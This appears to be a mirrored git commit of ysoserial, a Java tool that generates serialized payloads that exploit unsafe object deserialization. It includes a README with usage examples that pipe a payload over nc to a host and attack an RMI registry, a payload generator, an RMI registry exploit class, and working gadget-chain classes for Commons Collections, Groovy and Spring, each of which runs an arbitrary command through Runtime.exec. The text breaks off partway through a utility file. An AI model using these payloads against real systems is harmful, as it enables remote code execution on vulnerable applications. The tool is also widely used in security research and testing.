mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
init-commit
This commit is contained in:
@@ -0,0 +1,5 @@
|
|||||||
|
/target
|
||||||
|
.classpath
|
||||||
|
.project
|
||||||
|
.settings/
|
||||||
|
pwntest
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
language: java
|
||||||
|
jdk:
|
||||||
|
- oraclejdk8
|
||||||
|
- openjdk8
|
||||||
|
- oraclejdk7
|
||||||
|
- openjdk7
|
||||||
|
- openjdk6
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
DISCLAIMER
|
||||||
|
|
||||||
|
This software has been created purely for the purposes of academic research and
|
||||||
|
for the development of effective defensive techniques, and is not intended to be
|
||||||
|
used to attack systems except where explicitly authorized. Project maintainers
|
||||||
|
are not responsible or liable for misuse of the software. Use responsibly.
|
||||||
+22
@@ -0,0 +1,22 @@
|
|||||||
|
Copyright (c) 2013 Chris Frohoff
|
||||||
|
|
||||||
|
MIT License
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining
|
||||||
|
a copy of this software and associated documentation files (the
|
||||||
|
"Software"), to deal in the Software without restriction, including
|
||||||
|
without limitation the rights to use, copy, modify, merge, publish,
|
||||||
|
distribute, sublicense, and/or sell copies of the Software, and to
|
||||||
|
permit persons to whom the Software is furnished to do so, subject to
|
||||||
|
the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be
|
||||||
|
included in all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||||
|
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||||
|
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||||
|
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
||||||
|
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
||||||
|
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
||||||
|
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||||
@@ -0,0 +1,66 @@
|
|||||||
|
|
||||||
|
# ysoserial
|
||||||
|
|
||||||
|
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
|
||||||
|
libraries. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then
|
||||||
|
serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes
|
||||||
|
this data, the chain will automatically be invoked and cause the command to be executed on the application host.
|
||||||
|
|
||||||
|
It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having
|
||||||
|
gadgets on the classpath.
|
||||||
|
|
||||||
|
## Disclaimer
|
||||||
|
|
||||||
|
This software has been created purely for the purposes of academic research and
|
||||||
|
for the development of effective defensive techniques, and is not intended to be
|
||||||
|
used to attack systems except where explicitly authorized. Project maintainers
|
||||||
|
are not responsible or liable for misuse of the software. Use responsibly.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```shell
|
||||||
|
$ java -jar ysoserial-0.0.1-all.jar
|
||||||
|
Y SO SERIAL?
|
||||||
|
Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
|
||||||
|
Available payload types:
|
||||||
|
CommonsCollections1
|
||||||
|
CommonsCollections2
|
||||||
|
Groovy1
|
||||||
|
Spring1
|
||||||
|
```
|
||||||
|
|
||||||
|
## Examples
|
||||||
|
|
||||||
|
```shell
|
||||||
|
$ java -jar ysoserial-0.0.1-all.jar CommonsCollections1 calc.exe | xxd
|
||||||
|
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
|
||||||
|
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
|
||||||
|
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
|
||||||
|
...
|
||||||
|
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
|
||||||
|
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
|
||||||
|
0000570: 0078 7071 007e 003a .xpq.~.:
|
||||||
|
|
||||||
|
$ java -jar ysoserial-0.0.1-all.jar Groovy1 calc.exe > groovypayload.bin
|
||||||
|
$ nc 10.10.10.10 < groovypayload.bin
|
||||||
|
|
||||||
|
$ java -cp ysoserial-0.0.1-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
|
||||||
|
```
|
||||||
|
|
||||||
|
## Installation
|
||||||
|
|
||||||
|
1. Download the latest jar from the "releases" section.
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
1. Fork it
|
||||||
|
2. Create your feature branch (`git checkout -b my-new-feature`)
|
||||||
|
3. Commit your changes (`git commit -am 'Add some feature'`)
|
||||||
|
4. Push to the branch (`git push origin my-new-feature`)
|
||||||
|
5. Create new Pull Request
|
||||||
@@ -0,0 +1,125 @@
|
|||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
|
||||||
|
<groupId>ysoserial</groupId>
|
||||||
|
<artifactId>ysoserial</artifactId>
|
||||||
|
<version>0.0.1-SNAPSHOT</version>
|
||||||
|
<packaging>jar</packaging>
|
||||||
|
|
||||||
|
<name>ysoserial</name>
|
||||||
|
<url>http://maven.apache.org</url>
|
||||||
|
|
||||||
|
<properties>
|
||||||
|
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||||
|
</properties>
|
||||||
|
|
||||||
|
<build>
|
||||||
|
<plugins>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<artifactId>maven-compiler-plugin</artifactId>
|
||||||
|
<version>3.2</version>
|
||||||
|
<configuration>
|
||||||
|
<source>1.5</source>
|
||||||
|
<target>1.5</target><!-- maximize compatibility -->
|
||||||
|
</configuration>
|
||||||
|
</plugin>
|
||||||
|
<plugin>
|
||||||
|
<artifactId>maven-assembly-plugin</artifactId>
|
||||||
|
<configuration>
|
||||||
|
<finalName>${project.artifactId}-${project.version}-all</finalName>
|
||||||
|
<appendAssemblyId>false</appendAssemblyId>
|
||||||
|
<archive>
|
||||||
|
<manifest>
|
||||||
|
<mainClass>ysoserial.GeneratePayload</mainClass>
|
||||||
|
</manifest>
|
||||||
|
</archive>
|
||||||
|
<descriptorRefs>
|
||||||
|
<descriptorRef>jar-with-dependencies</descriptorRef>
|
||||||
|
</descriptorRefs>
|
||||||
|
</configuration>
|
||||||
|
<executions>
|
||||||
|
<execution>
|
||||||
|
<id>make-assembly</id>
|
||||||
|
<phase>package</phase>
|
||||||
|
<goals>
|
||||||
|
<goal>single</goal>
|
||||||
|
</goals>
|
||||||
|
</execution>
|
||||||
|
</executions>
|
||||||
|
</plugin>
|
||||||
|
</plugins>
|
||||||
|
</build>
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
|
||||||
|
<!-- testing depedencies -->
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>junit</groupId>
|
||||||
|
<artifactId>junit</artifactId>
|
||||||
|
<version>4.12</version>
|
||||||
|
<scope>test</scope>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.mockito</groupId>
|
||||||
|
<artifactId>mockito-core</artifactId>
|
||||||
|
<version>1.10.19</version>
|
||||||
|
<scope>test</scope>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.github.stefanbirkner</groupId>
|
||||||
|
<artifactId>system-rules</artifactId>
|
||||||
|
<version>1.8.0</version>
|
||||||
|
<scope>test</scope>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<!-- non-gadget dependencies -->
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.reflections</groupId>
|
||||||
|
<artifactId>reflections</artifactId>
|
||||||
|
<version>0.9.9</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.jboss.shrinkwrap.resolver</groupId>
|
||||||
|
<artifactId>shrinkwrap-resolver-depchain</artifactId>
|
||||||
|
<version>2.1.1</version>
|
||||||
|
<type>pom</type>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<!-- gadget dependecies -->
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>commons-collections</groupId>
|
||||||
|
<artifactId>commons-collections</artifactId>
|
||||||
|
<version>3.1</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.apache.commons</groupId>
|
||||||
|
<artifactId>commons-collections4</artifactId>
|
||||||
|
<version>4.0</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.apache.commons</groupId>
|
||||||
|
<artifactId>commons-lang3</artifactId>
|
||||||
|
<version>3.1</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.codehaus.groovy</groupId>
|
||||||
|
<artifactId>groovy</artifactId>
|
||||||
|
<version>2.3.9</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework</groupId>
|
||||||
|
<artifactId>spring-core</artifactId>
|
||||||
|
<version>4.1.4.RELEASE</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework</groupId>
|
||||||
|
<artifactId>spring-beans</artifactId>
|
||||||
|
<version>4.1.4.RELEASE</version>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
</project>
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
package ysoserial;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileInputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
|
||||||
|
import ysoserial.payloads.util.Serializables;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* for testing payloads across process boundaries
|
||||||
|
*/
|
||||||
|
public class Deserialize {
|
||||||
|
public static void main(final String[] args) throws ClassNotFoundException, IOException {
|
||||||
|
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
|
||||||
|
Serializables.deserialize(in);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,86 @@
|
|||||||
|
package ysoserial;
|
||||||
|
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.Collection;
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.Comparator;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
|
|
||||||
|
import org.reflections.Reflections;
|
||||||
|
|
||||||
|
import ysoserial.payloads.ObjectPayload;
|
||||||
|
|
||||||
|
@SuppressWarnings("rawtypes")
|
||||||
|
public class GeneratePayload {
|
||||||
|
|
||||||
|
private static final int INTERNAL_ERROR_CODE = 70;
|
||||||
|
private static final int USAGE_CODE = 64;
|
||||||
|
|
||||||
|
public static void main(final String[] args) {
|
||||||
|
if (args.length != 2) {
|
||||||
|
printUsage();
|
||||||
|
System.exit(USAGE_CODE);
|
||||||
|
}
|
||||||
|
final String payloadType = args[0];
|
||||||
|
final String command = args[1];
|
||||||
|
|
||||||
|
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
|
||||||
|
if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) {
|
||||||
|
System.err.println("Invalid payload type '" + payloadType + "'");
|
||||||
|
printUsage();
|
||||||
|
System.exit(USAGE_CODE);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
final ObjectPayload payload = payloadClass.newInstance();
|
||||||
|
final Object object = payload.getObject(command);
|
||||||
|
final ObjectOutputStream objOut = new ObjectOutputStream(System.out);
|
||||||
|
objOut.writeObject(object);
|
||||||
|
} catch (Exception e) {
|
||||||
|
System.err.println("Error while generating or serializing payload");
|
||||||
|
e.printStackTrace();
|
||||||
|
System.exit(INTERNAL_ERROR_CODE);
|
||||||
|
}
|
||||||
|
System.exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private static Class<? extends ObjectPayload> getPayloadClass(final String className) {
|
||||||
|
try {
|
||||||
|
return (Class<? extends ObjectPayload>) Class.forName(className);
|
||||||
|
} catch (Exception e1) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
return (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()
|
||||||
|
+ ".payloads." + className);
|
||||||
|
} catch (Exception e2) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void printUsage() {
|
||||||
|
System.err.println("Y SO SERIAL?");
|
||||||
|
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'");
|
||||||
|
System.err.println("\tAvailable payload types:");
|
||||||
|
final List<Class<? extends ObjectPayload>> payloadClasses =
|
||||||
|
new ArrayList<Class<? extends ObjectPayload>>(getPayloadClasses());
|
||||||
|
Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
|
||||||
|
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
|
||||||
|
System.err.println("\t\t" + payloadClass.getSimpleName());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// get payload classes by classpath scanning
|
||||||
|
private static Collection<Class<? extends ObjectPayload>> getPayloadClasses() {
|
||||||
|
final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName());
|
||||||
|
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
|
||||||
|
return payloadTypes;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class ToStringComparator implements Comparator<Object> {
|
||||||
|
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
package ysoserial;
|
||||||
|
|
||||||
|
import java.rmi.Remote;
|
||||||
|
import java.rmi.registry.LocateRegistry;
|
||||||
|
import java.rmi.registry.Registry;
|
||||||
|
|
||||||
|
import ysoserial.payloads.CommonsCollections1;
|
||||||
|
import ysoserial.payloads.ObjectPayload;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader
|
||||||
|
*/
|
||||||
|
public class RMIRegistryExploit {
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
|
||||||
|
String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
|
||||||
|
Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
|
||||||
|
Object payload = payloadClass.newInstance().getObject(args[3]);
|
||||||
|
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
|
||||||
|
registry.bind("pwned", remote);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,76 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import java.lang.reflect.InvocationHandler;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
|
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
/*
|
||||||
|
Gadget chain:
|
||||||
|
ObjectInputStream.readObject()
|
||||||
|
AnnotationInvocationHandler.readObject()
|
||||||
|
Map(Proxy).entrySet()
|
||||||
|
AnnotationInvocationHandler.invoke()
|
||||||
|
LazyMap.get()
|
||||||
|
ChainedTransformer.transform()
|
||||||
|
ConstantTransformer.transform()
|
||||||
|
InvokerTransformer.transform()
|
||||||
|
Method.invoke()
|
||||||
|
Class.getMethod()
|
||||||
|
InvokerTransformer.transform()
|
||||||
|
Method.invoke()
|
||||||
|
Runtime.getRuntime()
|
||||||
|
InvokerTransformer.transform()
|
||||||
|
Method.invoke()
|
||||||
|
Runtime.exec()
|
||||||
|
|
||||||
|
Requires:
|
||||||
|
commons-collections
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
|
||||||
|
|
||||||
|
public InvocationHandler getObject(final String command) throws Exception {
|
||||||
|
final String[] execArgs = new String[] { command };
|
||||||
|
// inert chain for setup
|
||||||
|
final Transformer transformerChain = new ChainedTransformer(
|
||||||
|
new Transformer[]{ new ConstantTransformer(1) });
|
||||||
|
// real chain for after setup
|
||||||
|
final Transformer[] transformers = new Transformer[] {
|
||||||
|
new ConstantTransformer(Runtime.class),
|
||||||
|
new InvokerTransformer("getMethod", new Class[] {
|
||||||
|
String.class, Class[].class }, new Object[] {
|
||||||
|
"getRuntime", new Class[0] }),
|
||||||
|
new InvokerTransformer("invoke", new Class[] {
|
||||||
|
Object.class, Object[].class }, new Object[] {
|
||||||
|
null, new Object[0] }),
|
||||||
|
new InvokerTransformer("exec",
|
||||||
|
new Class[] { String.class }, execArgs),
|
||||||
|
new ConstantTransformer(1) };
|
||||||
|
|
||||||
|
final Map innerMap = new HashMap();
|
||||||
|
|
||||||
|
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||||
|
|
||||||
|
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
|
||||||
|
|
||||||
|
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
|
||||||
|
|
||||||
|
return handler;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(final String[] args) {
|
||||||
|
PayloadRunner.run(CommonsCollections1.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,66 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
import java.util.Queue;
|
||||||
|
|
||||||
|
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||||
|
import org.apache.commons.collections4.functors.InvokerTransformer;
|
||||||
|
|
||||||
|
import ysoserial.payloads.util.ClassFiles;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
|
||||||
|
/*
|
||||||
|
Gadget chain:
|
||||||
|
ObjectInputStream.readObject()
|
||||||
|
PriorityQueue.readObject()
|
||||||
|
...
|
||||||
|
TransformingComparator.compare()
|
||||||
|
InvokerTransformer.transform()
|
||||||
|
Method.invoke()
|
||||||
|
Runtime.exec()
|
||||||
|
|
||||||
|
Requires:
|
||||||
|
commons-collections4
|
||||||
|
*/
|
||||||
|
|
||||||
|
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
|
||||||
|
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
|
||||||
|
|
||||||
|
public Queue<Object> getObject(final String command) throws Exception {
|
||||||
|
final TemplatesImpl templates = new TemplatesImpl();
|
||||||
|
|
||||||
|
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
|
||||||
|
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
|
||||||
|
ClassFiles.classAsBytes(Gadgets.Foo.class)}); // required to make TemplatesImpl happy
|
||||||
|
|
||||||
|
Reflections.setFieldValue(templates, "_name", "Pwnr"); // required to make TemplatesImpl happy
|
||||||
|
|
||||||
|
// mock method name until armed
|
||||||
|
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||||
|
|
||||||
|
// create queue with numbers and basic comparator
|
||||||
|
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
|
||||||
|
// stub data for replacement later
|
||||||
|
queue.add(1);
|
||||||
|
queue.add(1);
|
||||||
|
|
||||||
|
// switch method called by comparator
|
||||||
|
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
|
||||||
|
|
||||||
|
// switch contents of queue
|
||||||
|
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||||
|
queueArray[0] = templates;
|
||||||
|
queueArray[1] = new Gadgets.TransletPayload().withCommand(command);
|
||||||
|
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(final String[] args) {
|
||||||
|
PayloadRunner.run(CommonsCollections2.class, args);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import java.lang.reflect.InvocationHandler;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
import org.codehaus.groovy.runtime.ConvertedClosure;
|
||||||
|
import org.codehaus.groovy.runtime.MethodClosure;
|
||||||
|
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
|
||||||
|
/*
|
||||||
|
Gadget chain:
|
||||||
|
ObjectInputStream.readObject()
|
||||||
|
PriorityQueue.readObject()
|
||||||
|
Comparator.compare() (Proxy)
|
||||||
|
ConvertedClosure.invoke()
|
||||||
|
MethodClosure.call()
|
||||||
|
...
|
||||||
|
Method.invoke()
|
||||||
|
Runtime.exec()
|
||||||
|
|
||||||
|
Requires:
|
||||||
|
groovy
|
||||||
|
*/
|
||||||
|
|
||||||
|
@SuppressWarnings({ "rawtypes", "unchecked" })
|
||||||
|
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
|
||||||
|
|
||||||
|
public InvocationHandler getObject(final String command) throws Exception {
|
||||||
|
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
|
||||||
|
|
||||||
|
final Map map = Gadgets.createProxy(closure, Map.class);
|
||||||
|
|
||||||
|
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
|
||||||
|
|
||||||
|
return handler;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(final String[] args) {
|
||||||
|
PayloadRunner.run(Groovy1.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
public interface ObjectPayload<T> {
|
||||||
|
/*
|
||||||
|
* return armed payload object to be serialized that will execute specified
|
||||||
|
* command on deserialization
|
||||||
|
*/
|
||||||
|
public T getObject(String command) throws Exception;
|
||||||
|
}
|
||||||
@@ -0,0 +1,92 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import static java.lang.Class.forName;
|
||||||
|
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.InvocationHandler;
|
||||||
|
import java.lang.reflect.Type;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import javax.xml.transform.Templates;
|
||||||
|
|
||||||
|
import org.springframework.beans.factory.ObjectFactory;
|
||||||
|
|
||||||
|
import ysoserial.payloads.util.ClassFiles;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||||
|
|
||||||
|
/*
|
||||||
|
Gadget chains:
|
||||||
|
|
||||||
|
ObjectInputStream.readObject()
|
||||||
|
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
|
||||||
|
SerializableTypeWrapper.TypeProvider(Proxy).getType()
|
||||||
|
AnnotationInvocationHandler.invoke()
|
||||||
|
HashMap.get()
|
||||||
|
ReflectionUtils.findMethod()
|
||||||
|
SerializableTypeWrapper.TypeProvider(Proxy).getType()
|
||||||
|
AnnotationInvocationHandler.invoke()
|
||||||
|
HashMap.get()
|
||||||
|
ReflectionUtils.invokeMethod()
|
||||||
|
Method.invoke()
|
||||||
|
Templates(Proxy).newTransformer()
|
||||||
|
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
|
||||||
|
ObjectFactory(Proxy).getObject()
|
||||||
|
AnnotationInvocationHandler.invoke()
|
||||||
|
HashMap.get()
|
||||||
|
Method.invoke()
|
||||||
|
TemplatesImpl.newTransformer()
|
||||||
|
TemplatesImpl.getTransletInstance()
|
||||||
|
TemplatesImpl.defineTransletClasses()
|
||||||
|
TemplatesImpl.TransletClassLoader.defineClass()
|
||||||
|
Gadgets.TransletPayload.readObject()
|
||||||
|
Runtime.exec()
|
||||||
|
|
||||||
|
Requires:
|
||||||
|
spring-framework-core
|
||||||
|
*/
|
||||||
|
|
||||||
|
@SuppressWarnings({"restriction", "rawtypes"})
|
||||||
|
public class Spring1 extends PayloadRunner implements ObjectPayload<List<Object>> {
|
||||||
|
|
||||||
|
public List<Object> getObject(final String command) throws Exception {
|
||||||
|
final TemplatesImpl templates = new TemplatesImpl();
|
||||||
|
|
||||||
|
// inject class bytes into instance
|
||||||
|
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
|
||||||
|
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
|
||||||
|
ClassFiles.classAsBytes(Gadgets.Foo.class)});
|
||||||
|
|
||||||
|
// required to make TemplatesImpl happy
|
||||||
|
Reflections.setFieldValue(templates, "_name", "Pwnr");
|
||||||
|
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
|
||||||
|
|
||||||
|
final ObjectFactory objectFactoryProxy =
|
||||||
|
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
|
||||||
|
|
||||||
|
final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
|
||||||
|
Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
|
||||||
|
.newInstance(objectFactoryProxy), Type.class, Templates.class);
|
||||||
|
|
||||||
|
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
|
||||||
|
Gadgets.createMap("getType", typeTemplatesProxy),
|
||||||
|
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
|
||||||
|
|
||||||
|
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
|
||||||
|
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Templates.class.getMethod("newTransformer", new Class[] {}), 0);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(templates, "_auxClasses", null); // required to make TemplatesImpl serialization happy
|
||||||
|
|
||||||
|
return Arrays.asList(mitp, new Gadgets.TransletPayload().withCommand(command));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(final String[] args) {
|
||||||
|
PayloadRunner.run(Spring1.class, args);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
package ysoserial.payloads.util;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
|
||||||
|
public class ClassFiles {
|
||||||
|
public static String classAsFile(final Class<?> clazz) {
|
||||||
|
return classAsFile(clazz, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String classAsFile(final Class<?> clazz, boolean suffix) {
|
||||||
|
String str;
|
||||||
|
if (clazz.getEnclosingClass() == null) {
|
||||||
|
str = clazz.getName().replace(".", "/");
|
||||||
|
} else {
|
||||||
|
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
|
||||||
|
}
|
||||||
|
if (suffix) {
|
||||||
|
str += ".class";
|
||||||
|
}
|
||||||
|
return str;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] classAsBytes(final Class<?> clazz) throws IOException {
|
||||||
|
final byte[] buffer = new byte[1024];
|
||||||
|
final String file = classAsFile(clazz);
|
||||||
|
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
|
||||||
|
if (in == null) {
|
||||||
|
throw new IOException("couldn't find '" + file + "'");
|
||||||
|
}
|
||||||
|
final ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
int len;
|
||||||
|
while ((len = in.read(buffer)) != -1) {
|
||||||
|
out.write(buffer, 0, len);
|
||||||
|
}
|
||||||
|
